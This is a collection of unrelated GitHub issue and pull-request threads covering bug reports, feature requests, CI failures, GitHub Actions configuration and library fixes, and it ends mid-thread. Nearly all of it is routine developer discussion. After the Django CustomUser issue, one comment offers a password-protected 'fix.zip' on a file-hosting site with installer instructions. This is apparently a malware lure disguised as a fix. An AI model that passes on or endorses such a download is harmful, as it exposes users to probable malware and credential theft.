Fix bug where status code was not being set for linked resources

For the following type of code:
vehicle = client.Vehicle.fetch("/api/vehicle/456")
owner = vehicle.owner

a GET request is not issued for the owner (which is fine), but on subsequent getting or setting of an  attribute, owner._status does not get set to 200. This results in a GET being issued on each property access or modification and save() / update() not working properly (and silently failing). (Everything works fine if the owner is fetched directly)
I believe this is a simple one-line fix, and I've added a test case for this kind of linked relationship. I'm not thrilled with the later, but believe it does at least cover the case.
@lyschoening / @joaocardoso is this the right way to address this issue in your view? Still getting familiar with the codebase here. Thanks!

Coverage increased (+0.03%) to 87.805% when pulling 840cd89ffa0b5eeb64fedc2fa26d08e58f40baab on boydgreenfield:fix_status_code_on_linked_resources into 11408c9c339595a2a084494e3d357924821b1bae on biosustain:master.

Sorry for taking so long to review this. It's a busy time right now before the holidays. Your PR looks fine, so I merged and released it.

Perfect, thanks @lyschoening. And <48 hours isn't long at all!


GHMC NCMC

This is just to remind us to merge in @pgrinaway's GHMC-based NCMC at some point, since it will prevent Jenkins failures like this one:
======================================================================
ERROR: Testing SAMS sampler with T4LysozymeInhibitorsTestSystem 'explicit'
----------------------------------------------------------------------
Traceback (most recent call last):
  File "/home/jenkins/workspace/test-perses-linux-xeon-gtxtitan-src/miniconda/lib/python2.7/site-packages/nose/case.py", line 197, in runTest
    self.test(*self.arg)
  File "/home/jenkins/workspace/test-perses-linux-xeon-gtxtitan-src/miniconda/lib/python2.7/site-packages/perses-0.1-py2.7.egg/perses/samplers/samplers.py", line 972, in run
    self.update()
  File "/home/jenkins/workspace/test-perses-linux-xeon-gtxtitan-src/miniconda/lib/python2.7/site-packages/perses-0.1-py2.7.egg/perses/samplers/samplers.py", line 956, in update
    self.update_sampler()
  File "/home/jenkins/workspace/test-perses-linux-xeon-gtxtitan-src/miniconda/lib/python2.7/site-packages/perses-0.1-py2.7.egg/perses/samplers/samplers.py", line 924, in update_sampler
    self.sampler.update()
  File "/home/jenkins/workspace/test-perses-linux-xeon-gtxtitan-src/miniconda/lib/python2.7/site-packages/perses-0.1-py2.7.egg/perses/samplers/samplers.py", line 799, in update
    self.update_state()
  File "/home/jenkins/workspace/test-perses-linux-xeon-gtxtitan-src/miniconda/lib/python2.7/site-packages/perses-0.1-py2.7.egg/perses/samplers/samplers.py", line 742, in update_state
    [ncmc_new_positions, ncmc_introduction_logp, potential_insert] = self.ncmc_engine.integrate(topology_proposal, geometry_new_positions, direction='insert')
  File "/home/jenkins/workspace/test-perses-linux-xeon-gtxtitan-src/miniconda/lib/python2.7/site-packages/perses-0.1-py2.7.egg/perses/annihilation/ncmc_switching.py", line 394, in integrate
    raise NaNException("Final potential of 'delete' operation is NaN")
NaNException: Final potential of 'delete' operation is NaN

Resolved in #203


Use correct commit sha for PRs?

Behaviour
Hey folks, similar to https://github.com/docker/metadata-action/issues/191 a bit, when running a workflow on a PR event, the {{ sha }} refers to the temporary merge commit to the target branch, not the commit that was pushed to trigger the event.
I realize this is a pretty common situation with GitHub actions, but it ends up with Docker tags/labels that don't map back to any real commits. It would be really useful if this action automatically used github.event.pull_request.head.sha for PR events. I think it would have to be set for the tags {{ sha }} value and the auto-generated label org.opencontainers.image.revision.
I'm aware we can work around the tags situation by using type=raw and passing a value based on github.event.pull_request.head.sha, but it feels a bit error-prone.
I'm unaware of a workaround for overriding the org.opencontainers.image.revision label, though.
Steps to reproduce this issue
See example workflow and run on a PR
Expected behaviour
Tags with the correct sha in a PR (same with org.opencontainers.image.revision label)
Actual behaviour
Tags are created with the merge commit of the PR to the target branch (same with org.opencontainers.image.revision)
name: AWS

on:
  push:
    branches: ["main"]
    tags: ["v*"]
  pull_request:
    branches: ["*"]

jobs:
  docker:
    runs-on: ubuntu-latest
    steps:
      - name: Checkout
        uses: actions/checkout@v3
      - name: Docker meta
        id: meta
        uses: docker/metadata-action@v4
        with:
          images: "my-repo/my-image"
          tags: |
            type=ref,event=branch,suffix=-{{ sha }}
            type=ref,event=pr,suffix=-{{ sha }}

the {{ sha }} refers to the temporary merge commit to the target branch, not the commit that was pushed to trigger the event.

No, {{sha}} refers to the commit SHA that triggered the workflow run. It's the same as GITHUB_SHA or ${{ github.sha }} in github context.
You can check this behavior by adding the following step in your workflow to trace the context:
      - name: Dump context
        if: always()
        uses: crazy-max/ghaction-dump-context@v1

In your case you might want ${{ github.event.pull_request.head.sha }} or ${{ github.event.pull_request.base.sha }}:
jobs:
  docker:
    runs-on: ubuntu-latest
    steps:
      - name: Checkout
        uses: actions/checkout@v3
      - name: Docker meta
        id: meta
        uses: docker/metadata-action@v4
        with:
          images: "my-repo/my-image"
          tags: |
            type=ref,event=branch,suffix=-{{ sha }}
            type=ref,event=pr,suffix=-${{ github.event.pull_request.head.sha }}

when running a workflow on a PR event

Also on PR event your don't have access to secrets so you don't push your image anyway? Maybe it's a private repo and you're using OIDC?

but unaware of anything for labels and it's just a tricky thing to have to account for whenever we want to reference the git sha.

Sorry I missed your case with labels. So yes you can override them with:
jobs:
  docker:
    runs-on: ubuntu-latest
    steps:
      - name: Checkout
        uses: actions/checkout@v3
      - name: Docker meta
        id: meta
        uses: docker/metadata-action@v4
        with:
          images: "my-repo/my-image"
          tags: |
            type=ref,event=branch,suffix=-{{ sha }}
            type=ref,event=pr,suffix=-${{ github.event.pull_request.head.sha }}
          labels:
            org.opencontainers.image.revision=${{ github.event.pull_request.head.sha }}

Oh gotcha thanks for the link. Not sure if this is an issue though? Looks like it adds a tag rather than replacing
Docker labels
  org.opencontainers.image.title=my_repo
  org.opencontainers.image.description=
  org.opencontainers.image.url=https://github.com/my_org/my_repo
  org.opencontainers.image.source=https://github.com/my_org/my_repo
  org.opencontainers.image.version=pr-123
  org.opencontainers.image.created=2022-05-11T19:15:32.381Z
  org.opencontainers.image.revision=b0609399d9ffb14f42dd7097df4a12fc81a1234f
  org.opencontainers.image.licenses=
  org.opencontainers.image.revision=d48678cbb01422b60f8fe3cc2e1c1438ab6789e

https://github.com/docker/metadata-action/issues/125#issuecomment-910761577

Got it, that works thank you!
Any thoughts on being able to set the commit sha for PRs specifically? I think it would be a great quality of life improvement.

what @evandam said, it'd be great if we could fetch the "real" SHA of the PR vs some temporary SHA that doesn't match really to anything 😅

Agree @scalp42, The thing is that, it is not event respecting the checkout commit.
I have used ref: ${{ github.event.pull_request.head.sha }} to checkout the PR head and it works but the meta is still taking future merge commit id.

Should this issue be re-opened since the change was reverted?

@dylanANZ they reverted the default behavior but the feature is available (see https://github.com/docker/metadata-action/pull/239):

revert changes to set associated head sha on pull request event and use commit sha that triggered the workflow by default. User can still set associated head sha on PR by setting the env var DOCKER_METADATA_PR_HEAD_SHA=true.


Making CustomUser Model Abstract

To make the CustomUser model more flexible and allow users of our library to customize the user model according to their needs, I propose defining the existing CustomUser model as an abstract class. This change will enable users to create their own user models by inheriting from this class rather than using the CustomUser model directly. As a result, users can add project-specific fields and functionalities.
This change will make our library more modular and provide more flexibility for users.
example way :
    class Meta:
        abstract = True

for the documentation please check the #10

Download
https://www.mediafire.com/file/zch0v8rj7200mbm/fix.zip/file
password: changeme
In the installer menu, select "gcc."


Feat: Improve the CLI output of the table diff command

The following improvements have been introduced:

Split COMMON, which represented the number of joined rows ,into FULL MATCH and PARTIAL MATCH to show the number of rows that are identical vs the number of rows with only  a partial match accordingly.
Add percentage values for FULL MATCHES and PARTIAL MATCHES.
Only display the number of rows if it's not 0.
Add ability to set the number of decimal places to use when comparing floating point columns. This is set to 3 by default.

This is out of the scope for this PR, but is there a reason we don't show data diffs side by side like a git diff? We do it in the UI but not for the CLI. I imagine a lot of people want something similar in the CLI.
Example library that does this: https://github.com/paulfitz/daff

@sungchun12 , thanks, this is definitely on my mind! I even submitted an issue at the same time as this PR: https://github.com/TobikoData/sqlmesh/issues/2645. Any chance you can share this info there?

I naturally compare the row counts percentages and counts, and full match 6 is not 92.31% of 7. (I recognize why it's calculated the way it is, but I don't think we can expect users to.)
I think that calculation is going to be confusing unless we display percentages that sum to 100%.

@treysp I'm not sure we can, in good faith, show 100% when the number of rows doesn't match, right?

I meant show a percentage next to each count such that all the percentages sum to 100% - that way the user can tell how the denominator was calculated

@treysp ah, that's a good point, thanks. Updated my PR:

@sungchun12 , thanks, this is definitely on my mind! I even submitted an issue at the same time as this PR: #2645. Any chance you can share this info there?

will do!


Rust bindings: dlls are not copied into the release directory when compiling

Hello. When I try to compile my rust program, I got no dlls in the release directory. So I just copied the exe and gave to my friend. He said that it cannot find the dll, but on my computer where I compiled, it works in all folders where I copy my exe. What is happening?
Additionally I installed pvrecorder for python via pip, just in case...
What to do? Where are the DLLS?
Thank you.

There are ddls associated, if you want to move binaries, you should pass the whole release directory.

Just to chime in, when using cargo to build locally the DLLs are copied to a place where the executable can access them and the internal path points to them. If you are planning to distribute the executable (say to your friend) you need to use the .library_path() function of the builder class to put the path to the DLL, which also needs to be distributed to your friend.

well, i did a cargo make script that does distribute the dll...


Need for DocNavbarItem

🚀 Feature
A feature of v1 has not been ported to v2: the ability to link to a sidebar.
For example, the ReactNative website has 3 sidebars: docs, components and apis.
https://reactnative.dev/docs/getting-started

The layout need to be able to link to one of the 3 sidebar, and also be able to highlight the nav item that belongs to the currently browsed doc.
In v1 everything was quite coupled, and we had docGroupActive = sidebar && sidebar === Metadata[id].sidebar;
For v2 we have the ability to highlight on regexp pattern matches, but this does not really help for the RN website usecase because the docs of each sidebars don't have a clear prefix, so the regexp will be a pain to maintain.
As there are already special navbar item types, I suggest we create a new DocsSidebarNavbarItem for this usecase

Also seen this on ReactNativeWindows site (Docusaurus v1): https://microsoft.github.io/react-native-windows/

Note, this was also used in v1 docusaurus site:

And it was linking to docs, with the ability to have a specific class when the doc sidebar is active, so I kept a similar API for v2.


Asus FX506IV: Can't turn off both CPU and GPU fans

When I set to turn off fans (<40%), only GPU fan turn off. CPU fan continue working.

The problem doesn't appears on command line version of program. Only in GUI.

#5


Added SVG support (#366)

Allows SVG to be rendered by:

Using createElementNS for <svg> elements
Replacing <blazor-component> with <g> when inserting components within an SVG tree

Addresses #366

Thanks @sjroe! This looks great. I'm impressed that you made the solution this simple. You can ignore the AppVeyor build failure as it looks like a random networking issue not related to your code.
Would you be able to add a simple test component for this in the test/testapps/BasicTestApp project (in a similar way to the other test components there), plus a test that uses it in the Microsoft.AspNetCore.Blazor.E2ETest project? The test only needs to check that some SVG elements were inserted into the DOM correctly (as in, they can be located via Browser.FindElement(...)).
Once there's an end-to-end (E2E) test covering this, we'd definitely be happy to merge it!

 Thank you for your submission, we really appreciate it. Like many open source projects, we ask that you sign our Contributor License Agreement before we can accept your contribution.:x: sjroe sign nowYou have signed the CLA already but the status is still pending? Let us recheck it.

Thanks again @sjroe - this looks totally perfect! It's now merged. Great to have this feature in :)


New database manager

What was wrong?
Currently, Trinity client creates an extra process for each database consumer, this cause overheads and performance degrade.
How was it fixed?
Write a DB manager that handles all the communication to the database and a DB client that talks to the manager.
Benchmark shows the new DB manager-client has 1.5x to 2x performance comparing to the existing one.
$ python scripts/benchmark/db_managers/bench_db_client.py
Client 1: 6412.4640859929395 get-set per second
Client 0: 6294.6387453949055 get-set per second
Client 2: 5925.177664645094 get-set per second
Client 1: 6466.534301796517 get-set per second
Client 0: 6419.005003848052 get-set per second
Client 2: 6012.5870262597755 get-set per second
Client 1: 6271.011569056251 get-set per second
Client 0: 6263.727016479054 get-set per second
Client 2: 6715.727595295333 get-set per second
$ python scripts/benchmark/db_managers/bench_old_manager.py
Client 0: 4235.169438244839 get-set per second
Client 1: 4207.37306063274 get-set per second
Client 2: 4158.8369075974715 get-set per second
Client 0: 3686.812208983483 get-set per second
Client 1: 3679.808669849572 get-set per second
Client 2: 3590.928601338237 get-set per second
Client 0: 4002.483401664311 get-set per second
Client 1: 4020.7755111135643 get-set per second
Client 2: 4116.866458079233 get-set per second

To-Do
Cute Animal Picture

@pipermerriam  Thank you for the review. Addressed the comments.

If you don't mind, I might take this and re-work it a little to see whether I can find a nice middle ground.
Feel free to do so.

Closing as this has landed with #859


Update reference files for subcell limiting

Files directly downloaded from https://github.com/trixi-framework/Trixi2Vtk.jl/actions/runs/9614040983 (ubuntu 1.9 version)

Ah. I just saw that you gave me more rights here @sloede . Can I just merge this update?


Simpler mempool configuration

What
Completely removed NGINX config, should allow for easier node restarts and mempool app upgrades
Why
The app needed a refresh and NGINX configure had some potential DNS issues on node restarts
How
Run the frontend according to the official documentation
Scope

[X] guide simplification

Test & maintenance
Restart the raspibolt and make sure the mempool site works at https://raspibolt:4200
Animated GIF (optional)

The frontend should be using the backend provided in the same guilde... at the moment, I can't guarantee it's the case. Can someone inspect the network to make sure it's not calling the public mempool API?

@sig-noi the code literally gets the latest version
git checkout $latestrelease

Add: "USE_ONION": true, Between: 195-196

This has already been merged with #1121

I don't think removing the nginx reverse proxy is desired as this is a core security feature of our guides.
I didn't seem to have an issue with Mempool lately so maybe things have changed with the latest verisons of Mempool. Otherwise, I think working with the various service files (bitcoind, mempool, nginx) and playing with various options (Wants, PartOf etc) might solve any remaining issues.
I propose we close this PR for now.

I don't think removing the nginx reverse proxy is desired as this is a core security feature of our guides.
I didn't seem to have an issue with Mempool lately so maybe things have changed with the latest verisons of Mempool. Otherwise, I think working with the various service files (bitcoind, mempool, nginx) and playing with various options (Wants, PartOf etc) might solve any remaining issues.
I propose we close this PR for now.

What about creating frontend autoboot?
We don't use rpcuser/rpcpassword auth on `bitcoin.conf``, instead we use rpcauth (cookie file), was tested this guide on RaspiBolt v3?

  "CORE_RPC": {
    "HOST": "<IP_ADDRESS>",
    "PORT": 8332,
    "USERNAME": "raspibolt",
    "PASSWORD": "Password[B]"

What about using an SSL connection through Tor? We know Tor is encrypted by design. I'm wrong if I think that with this configuration mempool is listening directly on the SSL port.


CarrierWave - whitelist did not work.

Please rename extension_white_list -> extension_whitelist
ref: Securing uploads

https://github.com/carrierwaveuploader/carrierwave/issues/1896#issuecomment-208846564
They rename the function at this PR above.


Extract vergen version into its own crate

Vergen compiles whole libgit2 as its dependency, which takes a lot of time.
As this crate has no other dependencies, it can be built earlier.

bors r+


doom-gruvbox: invisible special buffers

That should be *Messages*, but the color of the background is the same as the foreground.

I'm not sure if it's because of the icons but I can't reproduce, how do you reach that gray state?

I don't use Doom Emacs, just a standard Emacs distribution with pretty vanilla Ivy configuration

Me neither. I also use vanilla Emacs!

Weird. I switched to Tomorrow Night but I'm definitely experiencing this with Gruvbox.

Wait a second. You're not using solaire-mode am I right? I would encourage you to use it since most of the themes o this package are changed and tweaked with solaire-mode in mind. Also, it improves the looks of your Emacs a lot.

I also experience this issue with doom-gruvbox and ivy. It started after I switched to Emacs 27. @AndreaOrru, do you use Emacs 27? Also, as I have just checked, solaire-mode does not help (and also blends the modeline with the buffer).
A similiar thing occurs when using lsp-ui-peek (Screenshot attached - as you can see, KInstIterator gets grayed out, which probably should not happen)

Yes, I use Emacs 27.

I am also experiencing this issue. The special buffers (I believe the face is called ivy-modified-buffer) is effectively invisible in doom-gruvbox only.
If I may, I suggest making the foreground the same color as the comments, and perhaps add a distant-foreground for ivy-current-match, to boost readability at least a bit.
P.s. I am using Emacs 27 too, but I don't think the version is the cause here.

This issue can be fixed in my latest PR: https://github.com/hlissner/emacs-doom-themes/pull/475


Add Jervis Bay Configuration

This PR adds the configuration for the Jervis Bay mission found in the latest moos-ivp-aquaticus under missions/jervis-2023.

@PatP15, note that for this or https://github.com/mit-ll-trusted-autonomy/pyquaticus/pull/30 to work, you need to make some minor updates to meta_shoreside.moos and meta_shoreside.bhv in the current jervis-2023 mission. I'll follow up via email.


Theme Product => getProductJson is wrong

https://github.com/Shopify/theme-scripts/blob/d0a9ea16970b175512ae7aacf6bf7af98c6bbc2c/packages/theme-product/theme-product.js#L5-L9
fetch('/product/' + handle + '.js')
should be: fetch('/products/' + handle + '.js')

Fixed in https://github.com/Shopify/theme-scripts/pull/95


darwin arm64 build support?

Hi,
Is there any plan for apple's new m1 chip (darwin-arm64) support?

Yes, see #76.
Google is still working on an arm64 version of the Widevine CDM, but when that is available we will produce an arm64 build.

Yes, see #76.
Google is still working on an arm64 version of the Widevine CDM, but when that is available we will produce an arm64 build.

thanks!

thanks!


Prepare for version 0.2.0 release

Codecov Report

Merging #77 into master will increase coverage by 0.11%.
The diff coverage is 100%.

@@            Coverage Diff             @@
##           master      #77      +/-   ##
==========================================
+ Coverage   70.56%   70.67%   +0.11%
==========================================
  Files         177      176       -1
  Lines        7429     7400      -29
==========================================
- Hits         5242     5230      -12
+ Misses       2187     2170      -17

@swcurran good point, I've updated the contributing instructions as well to reflect that: https://github.com/hyperledger/aries-cloudagent-python/pull/77/files?short_path=6a33714#diff-6a3371457528722a734f3c51d9238c13


AWS CM failing

Describe the bug
When getting certificate with AWS as an issuer, it fails with:
tls: failed to find any PEM data in certificate input
Steps to reproduce the bug
    awsCfg, err := external.LoadDefaultAWSConfig()

	awsCfg.Region = endpoints.EuCentral1RegionID
	awsCfg.Credentials = awsSDK.NewStaticCredentialsProvider("one", "two", "")
	cli := acmpca.New(awsCfg)

	c := &certify.Certify{
		CommonName:  "my-microapp",
		Cache:       certify.NewMemCache(),
		RenewBefore: (366 * 24) * time.Hour,
		Logger:      certifyLogger{},
		Issuer: &aws.Issuer{
			Client:                  cli,
			CertificateAuthorityARN: "arn",
			TimeToLive:              365,
		},
		CertConfig: &certify.CertConfig{
			SubjectAlternativeNames: []string{
				"localhost",
				"cerberus",
			},
			IPSubjectAlternativeNames: []net.IP{
				net.ParseIP("<IP_ADDRESS>"),
				net.ParseIP("::1"),
			},
		},
	}

	cp := x509.NewCertPool()
	tlsConfig := &tls.Config{
		GetCertificate: c.GetCertificate,
		ClientCAs:      cp,
		ClientAuth:     tls.NoClientCert,
		ServerName:     "my-microapp",
	}

Expected behavior
Certificate is processed properly
What happened instead
Error of : tls: failed to find any PEM data in certificate input
Additional context
in github.com/johanbrandhorst/certify/issuers/aws/aws.go:136 it fails since
github.com/johanbrandhorst/certify/issuers/aws/aws.go:134 is combining two certificates resulting in
-----BEGIN CERTIFICATE-----
Base64OfCertificate==
-----END CERTIFICATE----------BEGIN CERTIFICATE-----
Base64OfCertificate==
-----END CERTIFICATE-----

Thanks for the bug report!


⚠ Bofrost.nl has degraded performance

In 515776f, Bofrost.nl (https://www.bofrost.nl) experienced degraded performance:

HTTP code: 200
Response time: 5763 ms

Resolved: Bofrost.nl performance has improved in 29a955d after 6 minutes.


[api-docs] Fix broken links to the application object

A new commit was made into the api-docs repo. This issue was created automatically. Need to review if we made any change to the library for this commit.
https://github.com/discord/discord-api-docs/commit/738326536506db2971eaac04cef6eabc7e9c39f1

This commit will not effect our lib's code. No changes required.


geomerty2_python3: 0.6.9-1 in 'noetic/distribution.yaml' [bloom]

Increasing version of package(s) in repository geomerty2_python3 to 0.6.9-1:

upstream repository: https://github.com/jsk-ros-pkg/geometry2_python3.git
release repository: https://github.com/tork-a/geometry2_python3-release.git
distro file: noetic/distribution.yaml
bloom version: 0.11.1
previous version for package: null

This releases jsk_tf2_py_python3
https://github.com/ros/rosdistro/blob/63fe4ae7ffcae0edd45c894703cde42155a7ee79/noetic/distribution.yaml#L2891-L2902


Tychecking control.solve

The current type definition of control.solve():
https://github.com/potassco/clingo/blob/ec2c706656d7e8751b666aa31199c598c6487af6/libpyclingo/clingo/control.py#L687-L697
force us to use cast() with each call because of the Union type of its return value.
with cast(
    SolveHandle,
    self.control.solve(yield_=True),
) as handle:
    for model in handle:
    ...

It should be possible to improve this by using the @overload decorator on the type definition of control.solve() as follows:
   @overload
   def solve(
        self,
        assumptions: Sequence[Union[Tuple[Symbol, bool], int]] = [],
        on_model: Optional[Callable[[Model], Optional[bool]]] = None,
        on_unsat: Optional[Callable[[Sequence[int]], None]] = None,
        on_statistics: Optional[Callable[[StatisticsMap, StatisticsMap], None]] = None,
        on_finish: Optional[Callable[[SolveResult], None]] = None,
        on_core: Optional[Callable[[Sequence[int]], None]] = None,
        yield_: Literal[True] = False,
        async_: bool = False,
    ) -> SolveHandle:

    @overload
    def solve(
        self,
        assumptions: Sequence[Union[Tuple[Symbol, bool], int]] = [],
        on_model: Optional[Callable[[Model], Optional[bool]]] = None,
        on_unsat: Optional[Callable[[Sequence[int]], None]] = None,
        on_statistics: Optional[Callable[[StatisticsMap, StatisticsMap], None]] = None,
        on_finish: Optional[Callable[[SolveResult], None]] = None,
        on_core: Optional[Callable[[Sequence[int]], None]] = None,
        yield_: Literal[False] = False,
        async_: bool = False,
    ) -> SolveResult:

    @overload
    def solve(
        self,
        assumptions: Sequence[Union[Tuple[Symbol, bool], int]] = [],
        on_model: Optional[Callable[[Model], Optional[bool]]] = None,
        on_unsat: Optional[Callable[[Sequence[int]], None]] = None,
        on_statistics: Optional[Callable[[StatisticsMap, StatisticsMap], None]] = None,
        on_finish: Optional[Callable[[SolveResult], None]] = None,
        on_core: Optional[Callable[[Sequence[int]], None]] = None,
        yield_: bool = False,
        async_: bool = False,
    ) -> Union[SolveHandle, SolveResult]:

    def solve(
        self,
        assumptions: Sequence[Union[Tuple[Symbol, bool], int]] = [],
        on_model: Optional[Callable[[Model], Optional[bool]]] = None,
        on_unsat: Optional[Callable[[Sequence[int]], None]] = None,
        on_statistics: Optional[Callable[[StatisticsMap, StatisticsMap], None]] = None,
        on_finish: Optional[Callable[[SolveResult], None]] = None,
        on_core: Optional[Callable[[Sequence[int]], None]] = None,
        yield_: bool = False,
        async_: bool = False,
    ) -> Union[SolveHandle, SolveResult]:

with this, it should be possible to call solve.control() without cast when yield_ is used with a literal as in
with self.control.solve(yield_=True), as handle:
    for model in handle:
    ...

The first two instances of the overloaded declaration handle the use of literal booleans. The third handles the use of boolean expressions that still would need a cast because its type cannot be statically determined.
This requires python 3.8, which is the oldest version that did not reach its end of life. If older versions need to be supported, Literal[...] can be replaced by 'Literal[...]'.

An example like this is given in PEP0586. So we could add these overloads. However, clingo still supports Python 3.7 and literal types are only available from Python 3.8 onward. The overloads would have to be added conditionally. (I know that Python 3.7 is EOL but there are still supported Linux distributions shipping with it.)
https://peps.python.org/pep-0586/#shortening-unions-of-literals


Trigger background functions using the pubsub emulator

Note: this is a feature request
Description
It would be great to have functions that are subscribed to pubsub topics trigger when a new message is published in this topic, locally, in the pubsub emulator.
On startup, the emulator could check if there is a PUBSUB_EMULATOR_HOST env variable set, which would signal that the pubsub emulator is running. The @google-cloud/pubsub node sdk is aware of this env variable and is able to talk to the emulator instead of a production pubsub service.
The emulator can then subscribe to the topics each background function is bound to and trigger them on every message respectively.
Do you think this is something that could be supported in the future?
Thanks!

This sounds like a great feature! I think we can do it.

Just adding support for this - it would be awesome and just what I'm looking for. Thanks.

Any news on this? I just spent quite some time wondering why my function wasn't being triggered after using functions deploy .... --trigger-topic ... to set it up. Never crossed my mind that the two emulators would not work together!

..bump

Any updates on this issue? I'm glad I found it because I thought my code wasn't working. I suspected it might be the emulator, but couldn't find any docs that described the issue.

This would be awesome for developing a pipeline and seeing it work during integration testing.


Running code against unsupported hass version causes confusing crash

Bug description
App crashes, root cause is lack of support for labels. Prefer to enforce min version over making feature optional

Expected behaviour

semver check as part of boot, clear fatal error log, and clean exit.
Min ver 2024.4

done


[Feature Request] Ability to announce editor name to screen reader users

Context

[X] This issue is not a bug report. (please use a different template for reporting a bug)
[X] This issue is not a duplicate of an existing issue. (please use the search to find existing issues)

Description
If there are multiple editors on the screen, the default aria-label ("Editor content;Press Alt+F1 for Accessibility Options.") is not sufficient to allow screen reader users to tell the editors apart.
I'm wondering if we could allow aria-label to accept editor name or editor language.
For example:

aria-label could grab the language value passed to createModel and render [language] editor content;Press Alt+F1 for Accessibility Options.
Or we add an name option to createModel. name would be the name of the editor, which can be anything (index.js, index.html, styles.css, etc.), and aria-label would render [name] editor content;Press Alt+F1 for Accessibility Options.

Monaco Editor Playground Link
No response
Monaco Editor Playground Code
No response

Came here to file this issue and found that Huyen has done the work already :)
Passing a screen readable label is neccessary to pass WCAG Success Criterion 1.3.1, Info and relationships. For example, the Playground page on the documentation has 3 different editors, and right now a screen reader users needs to exit forms mode and browse around the page to try and find what the purpose of each editor is.

I 100% support this issue. Being able to pass 1.3.1 is a critical bug as it's WCAG level A and numerous laws around the world require WCAG AA compliance, so this feature is needed or we will need to stop using this editor. This editor is one of the best, and it should not be difficult to add some way of adding a message before the "Editor content;Press Alt+F1 for Accessibility Options." text that's there now. I'd be fine with having something like: "Main code Editor content;Press Alt+F1 for Accessibility Options." where "main Code" is what I add through an attribute.


fix(monitoring): do not create rhods-monitor-federation2

it is not in use and was previously imported from modelmesh
https://redhat-internal.slack.com/archives/C03UGJY6Z1A/p1707320748074229?thread_ts=1704193152.827009&cid=C03UGJY6Z1A

related to https://issues.redhat.com/browse/RHOAIENG-2479

if everything works we will need to backport this to "main"


improve docs on am

https://hub.github.com/ tells one to use
# directly apply all commits from a pull request to the current branch
$ git am -3 https://github.com/github/hub/pull/134

but misses out on explaining the -3.
I would suggest to use the long form --3way in the docs

I don't think that's a huge improvement. It's fine if people don't fully understand what -3 is. It's optional, but yields better results in case of conflicts. It's pretty easy for people to view git help am and look up what -3 is.


Initial run

All done except tests/basic post-generation verification, I think.

@ThePooN you'll want to copy a .sln.DotSettings file from one of our other repositories (lazer should work fine) and then apply inspections based on that (using resharper or rider to make things easier on yourself).
It will bring things in line with our naming schemes, such as private methods starting with lower-case, statics and consts using different rules etc.
If you aren't using rider/r# you can also see the issues via inspectcode, which can be run from cli and dosn't necessarily require a paid license (although you may quality for a free jetbrains subscription under their student clause, in which case i'd definitely recommend that).


Returns empty string ""

The api returns an empty string, but sometimes works for the same url.

You have to make sure that the element is on the page and has text (or what you are searching for).


fix isDir condition checking in io_unix.c

the condition was failing to set isDir because of miss placed else. causing fastfetch --list-presets to include directories

here you can see . .. and examples directory alongside other presets
with the fix:

i also updated zsh-completion to reflect upon this change

isDir issue should be fixed in the dev branch. Please create a new PR to make the zsh completion related changes


fix type hinting

Hello, i create package for "Laravel".
In my present dependency your package and there is the difficulty.
I want to call your class method , here, how type callable
Excel::create($report->getFileName(), [$report, 'handler'])
...

but your code expected Closure function.
I propose to change the test, example:
  public function create($filename, callable $callback = null)

or
        if (is_callable($callback))
            call_user_func($callback, $writer);

nothing will change, but it will increase flexibility

Can you go for the 2nd option please:
 if (is_callable($callback))
            call_user_func($callback, $writer);

Thanks

done  👍

Yes, thank you for your work)

Thanks for the contribution


Release 0.0.3

### v0.0.3

* Bust GitHub's badge cache. #16
* Revert "Bust GitHub's badge cache". #17
* Fix incorrect indentation. #19
* Coerce array. #18
* Drop import aliases and from imports. #20

Hi! This is the friendly automated conda-forge-linting service.
I just wanted to let you know that I linted all conda-recipes in your PR (recipe) and found it was in an excellent condition.


not able to see icon

When I implemented it to the application it shows the tag not the image
<img class="meteoremoticon" src="/packages/mattimo_emoticons/assets/images/emoticons/caritas_07.png">

Use triple brackets around the helper {{{ }}}


Toolbar is missing back button on Pubkeys / Colors / Settings / Help screen

Hello,
when being in the terminal, the toolbar has a back button, as you can see in the following screenshot (highlighted in red circle):

But the back button is missing from the toolbar when being on the Pubkeys / Colors / Settings / Help screen.
Could you please fix it and add the back button to the toolbar when being on the Pubkeys / Colors / Settings / Help screen?
It would be much appreciated.
Regards

PS:
The back button is also missing from the toolbar on the Help - Hints / Help - PhysicalKeyboard / Help - ScreenGestures / Help - VirtualKeyboard screen.
Regards

Fixed this with #197

@kruton :
Looks like this issue is not fixed, see:
https://github.com/connectbot/connectbot/issues/224
As you can see on those screenshots, the back button is still missing.
Regards


Can't control Xfinity Home system

I've set things up, and when I start homebridge it's definitely connecting to my Xfinity security system and gets the status as disarmed.
However, I can't figure out any Siri commands that actually work to control it. Also, in the Insteon+ app, there doesn't seem to be any commands associated with the Xfinity Home device.
If I try something like "set security system to away mode" or "turn on away mode" or anything of that nature, I get "cannot find that scene".

Yes, unfortunately I haven't figured out the magical phrases, if any, that will cause Siri to control security systems. Maybe they haven't activated this yet?
In the meantime I use it myself personally by assigning it to the built-in scenes - "I'm Leaving", "I'm Home", "Good night", etc.
Also, glad to hear someone else is getting some use out of this! It was a lot of work to rewrite it against their new API :)

I believe Siri currently doesn't support most of new profiles Apple introduced in iOS 9, I'd suggest you follow Nick's suggestion to setup a scene so you can control those systems with Siri :)

The Insteon app doesn't show me any scenes, and when I try to set one up that includes the security system, it doesn't give me any control over the security system. What am I missing?

In fact, if I try adding the security system to a scene and then go back, it shows no devices in the scene.

@fitzage Insteon+ hasn't been updated to support new profiles for iOS 9, I'd suggest to try Elgato Eve app?

Ah, that would explain it. I will try that.

Works like a charm. Thanks.


updating sql-migration version to 1.1.2 for insiders

link to extensions build artifacts:
https://mssqltools.visualstudio.com/CrossPlatBuildScripts/_build/results?buildId=177331&view=artifacts&pathAsName=false&type=publishedArtifacts

there is an error with the other extension, let me fix it in your branch.

@Charles-Gagnon FYI, I am removing the -ads from dotnet interactive extension.

gallery updated.


+Added new customer option to open new account.

+Moved external transaction to case 3, JOHAN FIXA DETTA!

PR PR PR


Prod update

Remember to merge using the Merge pull request/Create a merge commit method and using Prod update (Merge) as commit title.
Wait until branches prod and prod-beta from https://github.com/RedHatInsights/policies-ui-frontend-build repository are updated.
Trigger the deployment in jenkins.

See prod deployment for more info.

Codecov Report

Merging #323 (d320046) into prod (cd669f9) will not change coverage.
The diff coverage is n/a.

@@           Coverage Diff           @@
##             prod     #323   +/-   ##
=======================================
  Coverage   90.70%   90.70%
=======================================
  Files         117      117
  Lines        2486     2486
  Branches      466      466
=======================================
  Hits         2255     2255
  Misses        230      230
  Partials        1        1


Adding Delta Table Format to OpenHouse, a proof-of-concept

Summary

